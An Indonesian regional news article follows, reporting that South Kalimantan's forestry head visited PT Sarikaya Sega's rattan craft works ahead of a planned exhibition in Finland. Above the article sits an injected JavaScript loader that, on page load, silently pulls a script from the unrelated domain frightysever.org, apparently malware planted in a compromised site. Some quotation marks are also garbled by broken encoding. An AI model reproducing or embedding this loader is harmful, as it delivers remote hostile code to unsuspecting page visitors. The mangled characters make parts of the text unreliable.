(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kadishut Kunjungi Kerajinan Rotan Sebelum Dipamerkan ke Finlandia

BANJARBARU, Rotan merupakan salah satu tanaman yang tumbuh di hutan Kalimantan. Indonesia memasok 70% kebutuhan di dunia. Di Kalimantan Selatan khususnya di PT Sarikaya Sega rotan dijadikan berbagai jenis kerajinan di antarannya Lampit, Ajiro, Basket, Carped, Candle Brush, Saburina, Hiasan Dinding, Rak Rotan, dan lainnya.

PT sarikaya berdiri pada tahun 1986. Memulai Industri Rotan tahun 1987 dan Wood carpet tahun 1993. Dengan jumlah karyawan 314 orang PT sarikaya mampu menghasilkan Lampit 60.000M2, Saburina/ Rattan Mat 240.000M. PT Sarikaya Sudah memasuki pasar Ekspor Jepang sejak tahun 2008 dan lokal regional.

Kadishut Kalsel Hanif Faisol Nurofiq memaparkan, bahwa kerajinan rotan merupakan indikasi yang menarik untuk dipasarkan ke pasar global karena kerajinan rotan mampu bersaing dengan kerajinan dari negara lain. Ã¢â‚¬Å“Kita berharap kerajinan rotan terus berkemang,Ã¢â‚¬Â katanya.

Dengan berbagai macam kerajinan ini Pemprov berencana akan melakukan kerjasama antara Indonesia-Finlandia dengan cara mengikuti pameran guna memperkenalkan macam2 kerajinan dari olahan rotan. “Dengan konsep Branding Hutan Lestari diharapkan dapat meningkatkan perekonomian masyarakat karena kerajinan rotan memiliki nilai ekonomis cukup tinggi dan memiliki prospek pasar yang menjanjikan” ujar Hanifah selaku Asisten II bidang perekonomian.

Reporter : Dishut
Editor : Chell